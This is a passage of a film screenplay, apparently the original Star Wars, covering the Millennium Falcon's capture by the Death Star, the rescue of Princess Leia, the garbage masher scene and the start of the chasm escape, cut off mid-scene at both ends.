scout ships have reached Dantooine. They found the +remains of a Rebel base, but they estimate that it has been deserted +for some time. They are now conducting an extensive search of the +surrounding systems. + +TARKIN: She lied! She lied to us! + +VADER: I told you she would never consciously betray the Rebellion. + +TARKIN: Terminate her...immediately! + +EXTERIOR: HYPERSPACE. + +The pirateship is just coming out of hyperspace; a strange +surreal light show surrounds the ship. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +HAN: Stand by, Chewie, here we go. Cut in the sublight engines. + +Han pulls back on a control lever. Outside the cockpit +window stars begin streaking past, seem to decrease in speed, +then stop. Suddenly the starship begins to shudder and +violently shake about. Asteroids begin to race toward them, +battering the sides of the ship. + +HAN: What the...? Aw, we've come out of hyperspace into a meteor +shower. Some kind of asteroid collision. It's not on any of the +charts. + +The Wookiee flips off several controls and seems very cool +in the emergency. Luke makes his way into the bouncing +cockpit. + +LUKE: What's going on? + +HAN: Our position is correct, except...no, Alderaan! + +LUKE: What do you mean? Where is it? + +HAN: Thats what I'm trying to tell you, kid. It ain't there. It's been +totally blown away. + +LUKE: What? How? + +Ben moves into the cockpit behind Luke as the ship begins +to settle down. + +BEN: Destroyed...by the Empire! + +HAN: The entire starfleet couldn't destroy the whole planet. It'd take +a thousand ships with more fire power than I've... + +A signal starts flashing on the control panel and a muffled +alarm starts humming. + +HAN: There's another ship coming in. + +LUKE: Maybe they know what happened. + +BEN: It's an Imperial fighter. + +Chewbacca barks his concern. A huge explosion bursts +outside the cockpit window, shaking the ship violently. A +tiny, finned Imperial TIE fighter races past the cockpit +window. + +LUKE: It followed us! + +BEN: No. It's a short range fighter. + +HAN: There aren't any bases around here. Where did it come from? + +EXTERIOR: SPACE. + +The fighter races past the Corellian pirateship. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +LUKE: It sure is leaving in a big hurry. If they identify us, we're in +big trouble. + +HAN: Not if I can help it. Chewie...jam it's transmissions. + +BEN: It'd be as well to let it go. It's too far out of range. + +HAN: Not for long... + +EXTERIOR: SPACE. + +The pirateship zooms over the camera and away into the +vastness of space after the Imperial TIE fighter. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +The tension mounts as the pirateship gains on the tiny fighter. +In the distance, one of the stars becomes brighter until it is +obvious that the TIE ship is heading for it. Ben stands behind +Chewbacca. + +BEN: A fighter that size couldn't get this deep into space on its own. + +LUKE It must have gotten lost, been part of a convoy or something. + +HAN: Well, he ain't going to be around long enough to tell anyone +about us. + +EXTERIOR: SPACE. + +The TIE fighter is losing ground to the larger pirateship as +they race toward camera and disappear over head. + +INTERIOR: MILLENNIUM FALCON -- COCKPIT. + +The distant star can be distinguished as a small moon or +planet. + +LUKE: Look at him. He's headed for that small moon. + +HAN: I think I can get him before he gets there...he's almost in +range. + +The small moon begins to take on the appearance of a +monstrous spherical battle station. + +BEN: That's no moon! It's a space station. + +HAN: It's too big to be a space station. + +LUKE: I have a very bad feeling about this. + +BEN: Yeah, I think your right. Full reverse! Chewie, lock in the +auxiliary power. + +The pirateship shudders and the TIE fighter accelerates +away toward the gargantuan battle station. + +LUKE: Why are we still moving towards it? + +HAN: We're caught in a tractor beam! It's pulling us in! + +LUKE: But there's gotta be something you can do! + +HAN: There's nothin' I can do about it, kid. I'm in full power. I'm +going to have to shut down. But they're not going to get me without a +fight! + +Ben Kenobi puts a hand on his shoulder. + +BEN: You can't win. But there are alternatives to fighting. + +INTERIOR: MILLENNIUM FALCON -- DEATH STAR. + +As the battered pirate starship is towed closer to the awesome +metal moon, the immense size of the massive battle station +becomes staggering. Running along the equator of the gigantic +sphere is a mile-high band of huge docking ports into which +the helpless pirateship is dragged. + +EXTERIOR: DEATH STAR -- HUGE PORT DOORS. + +The helpless Millennium Falcon is pulled past a docking port +control room and huge laser turret cannons. + +VOICE OVER DEATH STAR INTERCOM: Clear Bay twenty-three-seven. We are +opening the magnetic field. + +INTERIOR: DEATH STAR -- DOCKING BAY 2037. + +The pirateship is pulled in through port doors of the Death +Star, coming to rest in a huge hangar. Thirty stormtroopers +stand at attention in a central assembly area. + +OFFICER: To you stations! + +OFFICER: (to another officer) Come with me. + +INTERIOR: DEATH STAR -- HALLWAY. + +Stormtroopers run to their posts. + +INTERIOR: DEATH STAR -- HANGAR 2037. + +A line of stormtroopers march toward the pirateship in +readiness to board it, while other troopers stand with weapons +ready to fire. + +OFFICER: Close all outboard shields! Close all outboard shields! + +INTERIOR: DEATH STAR -- CONFERENCE ROOM. + +Tarkin pushes a button and responds to the intercom buzz. + +TARKIN: Yes. + +VOICE: (over intercom) We've captured a freighter entering the remains +of the Alderaan system. It's markings match those of a ship that +blasted its way out of Mos Eisley. + +VADER: They must be trying to return the stolen plans to the princess. +She may yet be of some use to us. + +INTERIOR: DEATH STAR -- DOCKING BAY 2037. + +Vader and a commander approach the troops as an Officer and +several heavily armed troops exit the spacecraft. + +VOICE: (over intercom) Unlock one-five-seven and nine. Release +charges. + +OFFICER: (to Vader) There's no one on board, sir. According to the +log, the crew abandoned ship right after takeoff. It must be a decoy, +sir. Several of the escape pods have been jettisoned. + +VADER: Did you find any droids? + +OFFICER: No, sir. If there were any on board, they must also have +jettisoned. + +VADER: Send a scanning crew on board. I want every part of this ship +checked. + +OFFICER: Yes, sir. + +VADER: I sense something...a presence I haven't felt since... + +Vader turns quickly and exits the hangar. + +OFFICER: Get me a scanning crew in here on the double. I want every +part of this ship checked! + +INTERIOR: MILLENNIUM FALCON -- HALLWAY. + +A trooper runs through the hallway heading for the exit. In a +few moments all is quiet. The muffled sounds of a distant +officer giving orders finally fade. Two floor panels suddenly +pop up revealing Han Solo and Luke. Ben Kenobi sticks his head +out of a third locker. + +LUKE: Boy, it's lucky you had these compartments. + +HAN: I use them for smuggling. I never thought I'd be smuggling myself +in them. This is ridiculous. Even if I could take off, I'd never get +past the tractor beam. + +BEN: Leave that to me! + +HAN: Damn fool. I knew that you were going to say that! + +BEN: Who's the more foolish...the fool or the fool who follows him? + +Han shakes his head, muttering to himself. Chewbacca +agrees. + +INTERIOR: DEATH STAR -- MAIN FORWARD BAY. + +The crewmen carry a heavy box on board the ship, past the two +stormtroopers guarding either side of the ramp. + +TROOPER: The ship's all yours. If the scanners pick up anything, +report it immediately. All right, let's go. + +The crewmen enter the pirateship and a loud crashing sound +is followed by a voice calling to the guard below. + +HAN'S VOICE: Hey down there, could you give us a hand with this? + +The stormtroopers enter the ship and a quick round of +gunfire is heard. + +INTERIOR: DEATH STAR -- FORWARD BAY -- COMMAND OFFICE. + +In a very small command office near the entrance to the +pirateship, a Gantry Officer looks out his window and notices +the guards are missing. He speaks into the comlink. + +GANTRY OFFICER: TX-four-one-two. Why aren't you at your post? +TX-four-one-two, do you copy? + +A stormtrooper comes down the ramp of the pirateship and +waves to the gantry officer, pointing to his ear indicating +his comlink is not working. The gantry officer shakes his head +in disgust and heads for the door, giving his aide an annoyed +look. + +GANTRY OFFICER: Take over. We've got a bad transmitter. I'll see what +I can do. + +As the officer approaches the door, it slides open +revealing the towering Chewbacca. The gantry officer, in a +momentary state of shock, stumbles backward. With a bone- +chilling howl, the giant Wookiee flattens the officer with one +blow. The aide immediately reaches for his pistol, but is +blasted by Han, dressed as an Imperial stormtrooper. Ben and +the robots enter the room quickly followed by Luke, also +dressed as a stormtrooper. Luke quickly removes his helmet. + +LUKE: You know, between his howling and your blasting everything in +sight, it's a wonder the whole station doesn't know we're here. + +HAN: Bring them on! I prefer a straight fight to all this sneaking +around. + +THREEPIO: We found the computer outlet, sir. + +Ben feeds some information into the computer and a map of +the city appears on the monitor. He begins to inspect it +carefully. Threepio and Artoo look over the control panel. +Artoo finds something that makes him whistle wildly. + +BEN: Plug in. He should be able to interpret the entire Imperial +computer network. + +Artoo punches his claw arm into the computer socket and the +vast Imperial brain network comes to life, feeding information +to the little robot. After a few moments, he beeps something. + +THREEPIO: He says he's found the main computer to power the tractor +beam that's holding the ship here. He'll try to make the precise +location appear on the monitor. + +The computer monitor flashes readouts. + +THREEPIO: The tractor beam is coupled to the main reactor in seven +locations. A power loss at one of the terminals will allow the ship to +leave. + +Ben studies the data on the monitor readout. + +BEN: I don't think you boys can help. I must go alone. + +HAN: Whatever you say. I've done more that I bargained for on this +trip already. + +LUKE I want to go with you. + +BEN: Be patient, Luke. Stay and watch over the droids. + +LUKE: But he can... + +BEN: They must be delivered safely or other star systems will suffer +the same fate as Alderaan. Your destiny lies along a different path +than mine. The Force will be with you...always! + +Ben adjusts the lightsaber on his belt and silently steps +out of the command office, then disappears down a long grey +hallway. Chewbacca barks a comment and Han shakes his head in +agreement. + +HAN: Boy you said it, Chewie. + +Han looks at Luke. + +HAN: Where did you dig up that old fossil? + +LUKE: Ben is a great man. + +HAN: Yeah, great at getting us into trouble. + +LUKE: I didn't hear you give any ideas... + +HAN: Well, anything would be better than just hanging around waiting +for him to pick us up... + +LUKE: Who do you think... + +Suddenly Artoo begins to whistle and beep a blue streak. +Luke goes over to him. + +LUKE: What is it? + +THREEPIO: I'm afraid I'm not quite sure, sir. He says "I found her", +and keeps repeating, "She's here." + +LUKE: Well, who...who has he found? + +Artoo whistles a frantic reply. + +THREEPIO: Princess Leia. + +LUKE: The princess? She's here? + +HAN: Princess? What's going on? + +THREEPIO: Level five. Detention block A A-twenty-three. I'm afraid +she's scheduled to be terminated. + +LUKE: Oh, no! We've got to do something. + +HAN: What are you talking about? + +LUKE: The droid belongs to her. She's the one in the message.. We've +got to help her. + +HAN: Now, look, don't get any funny ideas. The old man wants us to +wait right here. + +LUKE: But he didn't know she was here. Look, will you just find a way +back into the detention block? + +HAN: I'm not going anywhere. + +LUKE: They're going to execute her. Look, a few minutes ago you said +you didn't want to just wait here to be captured. Now all you want to +do is stay. + +HAN: Marching into the detention area is not what I had in mind. + +LUKE: But they're going to kill her! + +HAN: Better her than me... + +LUKE: She's rich. + +Chewbacca growls. + +HAN: Rich? + +LUKE: Yes. Rich, powerful! Listen, if you were to rescue her, the +reward would be... + +HAN: What? + +LUKE: Well more wealth that you can imagine. + +HAN: I don't know, I can imagine quite a bit! + +LUKE: You'll get it! + +HAN: I better! + +LUKE: You will... + +HAN: All right, kid. But you'd better be right about this. + +Han looks at Chewie, who grunts a short grunt. + +LUKE: All right. + +HAN: What's your plan? + +LUKE: Uh...Threepio, hand me those binders there will you? + +Luke moves toward Chewbacca with electronic cuffs. + +LUKE: Okay. Now, I'm going to put these on you. + +Chewie lets out a hideous growl. + +LUKE: Okay. Han, you put these on. + +Luke sheepishly hands the binders to Han. + +HAN: Don't worry, Chewie. I think I know what he has in mind. + +The Wookiee has a worried and frightened look on his face +as Han binds him with the electronic cuffs. + +THREEPIO: Master Luke, sir! Pardon me for asking...but, ah...what +should Artoo and I do if we're discovered here? + +LUKE: Lock the door! + +HAN: And hope they don't have blasters. + +THREEPIO: That isn't very reassuring. + +Luke and Han put on their armored stormtrooper helmets and +start off into the giant Imperial Death Star. + +INTERIOR: DEATH STAR -- DETENTION AREA -- ELEVATOR TUBE. + +Han and Luke try to look inconspicuous in their armored suits +as they wait for a vacuum elevator to arrive. Troops, +bureaucrats, and robots bustle about, ignoring the trio +completely. Only a few give the giant Wookiee a curious +glance. +Finally a small elevator arrives and the trio enters. + +LUKE: I can't see a thing in this helmet. + +A bureaucrat races to get aboard also, but is signaled away by +Han. The door to the pod-like vehicle slides closed and the +elevator car takes off through a vacuum tube. + +INTERIOR: DEATH STAR -- MAIN HALLWAY. + +Several Imperial officers walk through the wide main +passageway. They pass several stormtroopers and a robot +similar to Threepio but with an insect face. At the far end of +the hallway, a passing flash of Ben Kenobi appears, then +disappears down a small hallway. His appearance is so fleeting +that it is hard to tell if he is real or just an illusion. No +one in the hallway seems to notice him. + +INTERIOR: DEATH STAR -- INTERIOR ELEVATOR -- DETENTION SECURITY AREA. + +Luke and Han step forward to exit the elevator, but the door +slides open behind them. The giant Wookiee and his two guards +enter the old grey security station. Guards and laser gates +are everywhere. Han whispers to Luke under his breath. + +HAN: This is not going to work. + +LUKE: Why didn't you say so before? + +HAN: I did say so before! + +INTERIOR: DETENTION AREA. + +Elevator doors open. A tall, grim looking Officer approaches +the trio. + +OFFICER: Where are you taking this...thing? + +Chewie growls a bit at the remark but Han nudges him to +shut up. + +LUKE: Prisoner transfer from Block one-one-three-eight. + +OFFICER: I wasn't notified. I'll have to clear it. + +The officer goes back to his console and begins to punch in +the information. There are only three other troopers in the +area. Luke and Han survey the situation, checking all of the +alarms, laser gates, and camera eyes. Han unfastens one of +Chewbacca's electronic cuffs and shrugs to Luke. +Suddenly Chewbacca throws up his hands and lets out with +one of his ear-piercing howls. He grabs Han's laser rifle. + +HAN: Look out! He's loose! + +LUKE: He's going to pull us all apart. + +HAN: Go get him! + +The startled guards are momentarily dumbfounded. Luke and +Han have already pulled out their laser pistols and are +blasting away at the terrifying Wookiee. Their barrage of +laserfire misses Chewbacca, but hits the camera eyes, laser +gate controls, and the Imperial guards. The officer is the +last of the guards to fall under the laserfire just as he is +about to push the alarm system. Han rushes to the comlink +system, which is screeching questions about what is going on. +He quickly checks the computer readout. + +HAN: We've got to find out which cell this princess of yours is in. +Here it is...cell twenty-one-eight-seven. You go get her. I'll hold +them here. + +Luke races down one of the cell corridors. Han speaks into the +buzzing comlink. + +HAN: (sounding official) Everything is under control. Situation +normal. + +INTERCOM VOICE: What happened? + +HAN: (getting nervous) Uh...had a slight weapons malfunction. But, uh, +everything's perfectly all right now. We're fine. We're all fine here, +now, thank you. How are you? + +INTERCOM VOICE: We're sending a squad up. + +HAN: Uh, uh, negative. We had a reactor leak here now. Give us a few +minutes to lock it down. Large leak...very dangerous. + +INTERCOM VOICE: Who is this? What's your operating number? + +Han blasts the comlink and it explodes. + +HAN: Boring conversation anyway. (yelling down the hall) Luke! We're +going to have company! + +INTERIOR: DEATH STAR -- CELL ROW. + +Luke stops in front of one of the cells and blasts the door +away with a laser pistol. When the smoke clears, Luke sees the +dazzling young princess-senator. She had been sleeping and is +now looking at him with an uncomprehending look on her face. +Luke is stunned by her incredible beauty and stands staring at +her with his mouth hanging open. + +LEIA: (finally) Aren't you a little short to be a stormtrooper? + +Luke takes off his helmet, coming out of it. + +LUKE: What? Oh...the uniform. I'm Luke Skywalker. I'm here to rescue +you. + +LEIA: You're who? + +LUKE: I'm here to rescue you. I've got your R2 unit. I'm here with Ben +Kenobi. + +LEIA: Ben Kenobi is here! Where is he? + +LUKE: Come on! + +INTERIOR: DEATH STAR -- CONFERENCE ROOM. + +Darth Vader paces the room as Governor Tarkin sits at the far +end of the conference table. + +VADER: He is here... + +TARKIN: Obi-Wan Kenobi! What makes you think so? + +VADER: A tremor in the Force. The last time I felt it was in the +presence of my old master. + +TARKIN: Surely he must be dead by now. + +VADER: Don't underestimate the power of the Force. + +TARKIN: The Jedi are extinct, their fire has gone out of the universe. +You, my friend, are all that's left of their religion. + +There is a quiet buzz on the comlink. + +TARKIN: Yes. + +INTERCOM VOICE: Governor Tarkin, we have an emergency alert in +detention block A A-twenty-three. + +TARKIN: The princess! Put all sections on alert! + +VADER: Obi-Wan is here. The Force is with him. + +TARKIN: If you're right, he must not be allowed to escape. + +VADER: Escape is not his plan. I must face him alone. + +INTERIOR: DEATH STAR -- DETENTION AREA -- HALLWAY. + +An ominous buzzing sound is heard on the other side of the +elevator door. + +HAN: Chewie! + +Chewbacca responds with a growling noise. + +HAN: Get behind me! Get behind me! + +A series of explosions knock a hole in the elevator door +through which several Imperial troops begin to emerge. +Han and Chewie fire laser pistols at them through the smoke +and flame. They turn and run down the cell hallway, meeting up +with Luke and Leia rushing toward them. + +HAN: Can't get out that way. + +LEIA: Looks like you managed to cut off our only escape route. + +HAN: (sarcastically) Maybe you'd like it back in your cell, Your +Highness. + +Luke takes a small comlink transmitter from his belt as +they continue to exchange fire with stormtroopers making their +way down the corridor. + +LUKE: See-Threepio! See-Threepio! + +THREEPIO: (over comlink) Yes sir? + +LUKE: We've been cut off! Are there any other ways out of the cell +bay?...What was that? I didn't copy! + +INTERIOR: DEATH STAR -- MAIN BAY GANTRY -- CONTROL TOWER. + +Threepio paces the control center as little Artoo beeps and +whistles a blue streak. Threepio yells into the small comlink +transmitter. + +THREEPIO: I said, all systems have been alerted to your presence, sir. +The main entrance seems to be the only way in or out; all other +information on your level is restricted. + +Someone begins banging on the door. + +TROOPER VOICE: Open up in there! + +THREEPIO: Oh, no! + +INTERIOR: DEATH STAR -- DETENTION CORRIDOR. + +Luke and Leia crouch together in an alcove for protection as +they continue to exchange fire with troops. Han and Chewbacca +are barely able to keep the stormtroopers at bay at the far +and of the hallway. The laserfire is very intense, and smoke +fills the narrow cell corridor. + +LUKE: There isn't any other way out. + +HAN: I can't hold them off forever! Now what? + +LEIA: This is some rescue. When you came in here, didn't you have a +plan for getting out? + +HAN: (pointing to Luke) He's the brains, sweetheart. + +Luke manages a sheepish grin and shrugs his shoulders. + +LUKE: Well, I didn't... + +The princess grabs Luke's gun and fires at a small grate in +the wall next to Han, almost frying him. + +HAN: What the hell are you doing? + +LEIA: Somebody has to save our skins. Into the garbage chute, wise +guy. + +She jumps through the narrow opening as Han and Chewbacca +look on in amazement. Chewbacca sniffs the garbage chute and +says something. + +HAN: Get in there you big furry oaf! I don't care what you smell! Get +in there and don't worry about it. + +Han gives him a kick and the Wookiee disappears into the +tiny opening. Luke and Han continue firing as they work their +way toward the opening. + +HAN: Wonderful girl! Either I'm going to kill her or I'm beginning to +like her. Get in there! + +Luke ducks laserfire as he jumps into the darkness. Han +fires off a couple of quick blasts creating a smokey cover, +then slides into the chute himself and is gone. + +INTERIOR: DEATH STAR -- GARBAGE ROOM. + +Han tumbles into the large room filled with garbage and muck. +Luke is already stumbling around looking for an exit. He finds +a small hatchway and struggles to get it open. It won't budge. + +HAN: (sarcastically) Oh! The garbage chute was a really wonderful +idea. What an incredible smell you've discovered! Let's get out of +here! Get away from there... + +LUKE: No! wait! + +Han draws his laser pistol and fires at the hatch. The +laserbolt ricochets wildly around the small metal room. +Everyone dives for cover in the garbage as the bolt explodes +almost on top of them. Leia climbs out of the garbage with a +rather grim look on her face. + +LUKE: Will you forget it? I already tried it. It's magnetically +sealed! + +LEIA: Put that thing away! You're going to get us all killed. + +HAN: Absolutely, Your Worship. Look, I had everything under control +until you led us down here. You know, it's not going to take them long +to figure out what happened to us. + +LEIA: It could be worst... + +A loud, horrible, inhuman moan works its way up from the +murky depths. Chewbacca lets out a terrified howl and begins +to back away. Han and Luke stand fast with their laser pistols +drawn. The Wookiee is cowering near one of the walls. + +HAN: It's worst. + +LUKE: There's something alive in here! + +HAN: That's your imagination. + +LUKE: Something just moves past my leg! Look! Did you see that? + +HAN: What? + +LUKE: Help! + +Suddenly Luke is yanked under the garbage. + +HAN: Luke! Luke! Luke! + +Solo tries to get to Luke. Luke surfaces with a gasp of air +and thrashing of limbs. A membrane tentacle is wrapped around +his throat. + +LEIA: Luke! + +Leia extends a long pipe toward him. + +LEIA: Luke, Luke, grab a hold of this. + +LUKE: Blast it, will you! My gun's jammed. + +HAN: Where? + +LUKE: Anywhere! Oh!! + +Solo fires his gun downward. Luke is pulled back into the +muck by the slimy tentacle. + +HAN: Luke! Luke! + +Suddenly the walls of the garbage receptacle shudder and +move in a couple of inches. Then everything is deathly quiet. +Han and Leia give each other a worried look as Chewbacca howls +in the corner. With a rush of bubbles and muck Luke suddenly +bobs to the surface. + +LEIA: Grab him! + +Luke seems to be released by the thing. + +LEIA: What happened? + +LUKE: I don't know, it just let go of me and disappeared... + +HAN: I've got a very bad feeling about this. + +Before anyone can say anything the walls begin to rumble +and edge toward the Rebels. + +LUKE: The walls are moving! + +LEIA: Don't just stand there. Try to brace it with something. + +They place poles and long metal beams between the closing +walls, but they are simply snapped and bent as the giant +trashmasher rumbles on. The situation doesn't look too good. + +LUKE: Wait a minute! + +Luke pulls out his comlink. + +LUKE: Threepio! Come in Threepio! Threepio! Where could he be? + +INTERIOR: DEATH STAR -- MAIN GANTRY -- COMMAND OFFICE. + +A soft buzzer and the muted voice of Luke calling out for +See-Threepio can be heard on Threepio's hand comlink, which is +sitting on the deserted computer console. Artoo and Threepio +are nowhere in sight. Suddenly there is a great explosion and +the door of the control tower flies across the floor. Four +armed stormtroopers enter the chamber. + +FIRST TROOPER: Take over! (pointing to the dead officer) See to him! +Look there! + +A trooper pushes a button and the supply cabinet door +slides open. See-Threepio and Artoo-Detoo are inside. Artoo +follows his bronze companion out into the office. + +THREEPIO: They're madmen! They're heading for the prison level. If you +hurry, you might catch them. + +FIRST OFFICER: (to his troops) Follow me! You stand guard. + +The troops hustle off down the hallway, leaving a guard to +watch over the command office. + +THREEPIO: (to Artoo) Come on! + +The guard aims a blaster at them. + +THREEPIO: Oh! All this excitement has overrun the circuits of my +counterpart here. If you don't mind, I'd like to take him down to +maintenance. + +TROOPER: All right. + +The guard nods and Threepio, with little Artoo in tow, +hurries out the door. + +INTERIOR: DEATH STAR -- GARBAGE ROOM. + +As the walls rumble closed, the room gets smaller and smaller. +Chewie is whining and trying to hold a wall back with his giant paws. +Han is leaning back against the other wall. Garbage is snapping and +popping. Luke is trying to reach Threepio. + +LUKE: Threepio! Come in, Threepio! Threepio! + +Han and Leia try to brace the contracting walls with a +pole. Leia begins to sink into the trash. + +HAN: Get to the top! + +LEIA: I can't + +LUKE: Where could he be? Threepio! Threepio, will you come in? + +INTERIOR: DEATH STAR -- MAIN FORWARD BAY -- SERVICE PANEL. + +THREEPIO: They aren't here! Something must have happened to them. See +if they've been captured. + +Little Artoo carefully plugs his claw arm into a new wall +socket and a complex array of electronic sounds spew from the +tiny robot. + +THREEPIO: Hurry! + +INTERIOR: DEATH STAR -- GARBAGE ROOM. + +The walls are only feet apart. Leia and Han are braced against +the walls. The princess is frightened. They look at each +other. Leia reaches out and takes Han's hand and she holds it +tightly. She's terrified and suddenly groans as she feels the +first crushing pressure against her body. + +HAN: One thing's for sure. We're all going to be a lot thinner! (to +Leia) Get on top of it! + +LEIA: I'm trying! + +INTERIOR: DEATH STAR -- MAIN FORWARD BAY -- SERVICE PANEL. + +THREEPIO: (to Artoo) Thank goodness, they haven't found them! Where +could they be? + +Artoo frantically beeps something to See-Threepio. + +THREEPIO: Use the comlink? Oh, my! I forgot I turned it off! + +INTERIOR: DEATH STAR -- GARBAGE ROOM. + +Meanwhile, Luke is lying on his side, trying to keep his head +above the rising ooze. Luke's comlink begins to buzz and he +rips it off his belt. + +INTERIOR: DEATH STAR -- MAIN FORWARD BAY -- SERVICE PANEL. + +Muffled sounds of Luke's voice over the comlink can be heard, +but not distinctly. + +THREEPIO: Are you there, sir? + +INTERIOR: DEATH STAR -- GARBAGE ROOM. + +LUKE: Threepio! + +INTERIOR: DEATH STAR -- MAIN FORWARD BAY -- SERVICE PANEL. + +THREEPIO: We've had some problems... + +LUKE: (over comlink) Will you shut up and listen to me? Shut down all +garbage mashers on the detention level, will you? Do you copy? + +INTERIOR: DEATH STAR -- GARBAGE ROOM. + +LUKE: Shut down all the garbage mashers on the detention level. + +INTERIOR: DEATH STAR -- MAIN FORWARD BAY -- SERVICE PANEL. + +LUKE: (over comlink) Shut down all the garbage mashers on the +detention level. + +THREEPIO: (to Artoo) No. Shut them all down! Hurry! + +Threepio holds his head in agony as he hears the incredible +screaming and hollering from Luke's comlink. + +THREEPIO: Listen to them! They're dying, Artoo! Curse my metal body! I +wasn't fast enough. It's all my fault! My poor master! + +LUKE: (over comlink) Threepio, we're all right! + +INTERIOR: DEATH STAR -- GARBAGE ROOM. + +The screaming and hollering is the sound of joyous relief. The +walls have stopped moving. Han, Chewie and Leia embrace in the +background. + +LUKE: We're all right. You did great. + +Luke moves to the pressure sensitive hatch, looking for a +number. + +LUKE: Hey...hey, open the pressure maintenance hatch on unit number... +where are we? + +INTERIOR: DEATH STAR -- MAIN FORWARD BAY -- SERVICE PANEL. + +HAN: (over comlink) Three-two-six-eight-two-seven. + +INTERIOR: DEATH STAR -- TRACTOR BEAM -- POWER GENERATOR TRENCH. + +Ben enters a humming service trench that powers the huge +tractor beam. The trench seems to be a hundred miles deep. The +clacking sound of huge switching devices can be heard. The old +Jedi edges his his way along a narrow ledge leading to a +control panel that connects two large cables. He carefully +makes several adjustments in the computer terminal, and +several lights on the board go from red to blue. + +INTERIOR: DEATH STAR -- UNUSED HALLWAY. + +The group exits the garbage room into a dusty, unused hallway. +Han and Luke remove the trooper suits and strap on the blaster +belts. + +HAN: If we can just avoid any more female advice, we ought to be able +to get out of here. + +Luke smiles and scratches his head as he takes a blaster +from Solo. + +LUKE: Well, let's get moving! + +Chewie begins growling and points to the hatch to the +garbage room, as he runs away and then stops howling. + +HAN: (to Chewie) Where are you going? + +The Dia Nogu bangs against the hatch and a long, slimy +tentacle works its way out of the doorway searching for a +victim. Han aims his pistol. + +LEIA: No, wait. They'll hear! + +Han fires at the doorway. The noise of the blast echoes +relentlessly throughout the empty passageway. Luke simply +shakes his head in disgust. + +HAN: (to Chewie) Come here, you big coward! + +Chewie shakes his head "no." + +HAN: Chewie! Come here! + +LEIA: Listen. I don't know who you are, or where you came from, but +from now on, you do as I tell you. Okay? + +Han is stunned at the command of the petite young girl. + +HAN: Look, Your Worshipfulness, let's get one thing straight! I take +orders from one person! Me! + +LEIA: It's a wonder you're still alive. (looking at Chewie) Will +somebody get this big walking carpet out of my way? + +Han watches her start away. He looks at Luke. + +HAN: No reward is worth this. + +They follow her, moving swiftly down the deserted corridor. + +INTERIOR: DEATH STAR -- POWER TRENCH. + +Suddenly a door behind Ben slides open and a detachment of +stormtroopers marches to the power trench. Ben instantly slips +into the shadows as an Officer moves to within a few feet of +him. + +OFFICER: Secure this area until the alert is canceled. + +FIRST TROOPER: Give me regular reports. + +All but two of the stormtroopers leave. + +FIRST TROOPER: Do you know what's going on? + +SECOND TROOPER: Maybe it's another drill. + +Ben moves around the tractor beam, watching the +stormtroopers as they turn their backs to him. Ben gestures +with his hand toward them, as the troops think they hear +something in the other hallway. With the help of the Force, +Ben deftly slips past the troopers and into the main hallway. + +SECOND TROOPER: What was that? + +FIRST TROOPER: Oh, it's nothing. Don't worry about it. + +INTERIOR: DEATH STAR -- HALLWAY. + +Luke, Han, Chewbacca, and Leia run down an empty hallway and +stop before a bay window overlooking the pirateship. Troopers +are milling about the ship. Luke takes out his pocket comlink. + +HAN: (looking at his ship) There she is. + +LUKE: See-Threepio, do you copy? + +THREEPIO: (voice) For the moment. Uh, we're in the main hangar across +from the ship. + +LUKE: We're right above you. Stand by. + +Han is watching the dozen or so troops moving in and out of +the pirateship. Leia moves towards Han, touches his arm and +points out the window to the ship. + +LEIA: You came in that thing? You're braver that I thought. + +HAN: Nice! Come on! + +Han gives her a dirty look, and they start off down the +hallway. They round a corner and run right into twenty +Imperial stormtroopers heading toward them. Both groups are +taken by surprise and stop in their tracks. + +FIRST TROOPER: It's them! Blast them! + +Before even thinking, Han draws his laser pistol and +charges the troops, firing. His blaster knocks one of the +stormtroopers into the air. Chewie follows his captain down +the corridor, stepping over the fallen trooper on the floor. + +HAN: (to Luke and Leia) Get back to the ship! + +LUKE: Where are you going? Come back! + +Han has already rounded a corner and does not hear. + +LEIA: He certainly has courage. + +LUKE: What good will it do us if he gets himself killed? Come on! + +Luke is furious but doesn't have time to think about it for +muted alarms begin to go off down on the hangar deck. Luke and +Leia start off toward the starship hangar. + +INTERIOR: DEATH STAR -- SUBHALLWAY. + +Han chases the stormtroopers down a long subhallway. He is +yelling and brandishing his laser pistol. The troops reach a +dead end and are forced to turn and fight. Han stops a few +feet from them and assumes a defensive position. The troops +begin to raise their laser guns. Soon all ten troopers are +moving into an attack position in front of the lone +starpirate. Han's determined look begins to fade as the troops +begin to advance. Solo jumps backward as they fire at him. + +INTERIOR: DEATH STAR -- SUBHALLWAY. + +Chewbacca runs down the subhallway in a last-ditch attempt to +save his bold captain. Suddenly he hears the firing of laser +guns and yelling. Around the corner shoots Han, pirate +extraordinaire, running for his life, followed by a host of +furious stormtroopers. Chewbacca turns and starts running the +other way also. + +INTERIOR: DEATH STAR -- SUBHALLWAY. + +Luke fires his laser pistol wildly as he and Leia rush down a +narrow subhallway, chased by several stormtroopers. They +quickly reach the end of the subhallway and race through an +open hatchway. + +INTERIOR: DEATH STAR -- CENTRAL CORE SHAFT. + +Luke and Leia race through the hatch onto a narrow bridge that +spans a huge, deep shaft that seems to go into infinity. The +bridge has been retracted into the wall of the shaft, and Luke +almost rushes into the abyss. He loses his balance off the end +of the bridge as Leia, behind him, takes hold of his arm and +pulls him back. + +LUKE: (gasping) I think we took a wrong turn. + +Blasts from the stormtroopers' laser guns explode nearby +reminding them of the oncoming danger. Luke fires back at the +advancing troops. Leia reaches over and hits a switch that +pops the hatch door shut with a resounding boom, leaving them +precariously perched on a short piece of bridge overhang. +Laserfire from the troopers continues to hit the steel door. + +LEIA: There's no lock! + +Luke blasts the controls with his laser pistol. + +LUKE: That oughta hold it for a while. + +LEIA: Quick, we've got to get across. Find the control that extends +the bridge. + +LUKE: Oh, I think I just blasted it. + +Luke looks at the blasted bridge control while the +stormtroopers on the opposite side of the door begin making +ominous drilling and pounding sounds. + +LEIA: They're coming through! + +Luke notices something on his stormtrooper belt, when +laserfire hits the wall behind him. Luke aims his laser pistol +at a stormtrooper perched on a higher bridge overhang across +the abyss from them. They exchange fire. Two more troops +appear on another overhang, also firing. A trooper is hit, and +grabs at his chest. +Another trooper standing on the bridge overhang is hit by +Luke's laserfire, and plummets down the shaft. Troopers move +back off the bridge; Luke hands the gun to Leia. + +LUKE: Here, hold this. + +Luke pulls a thin nylon cable from his trooper utility +belt. It has a grappler hook on it. A trooper appears on a +bridge overhang and fires at Luke and Leia. As Luke works with +the rope, Leia returns the laser volley. Another trooper +appears and fires at them, as Leia returns his fire as well. +Suddenly, the hatch 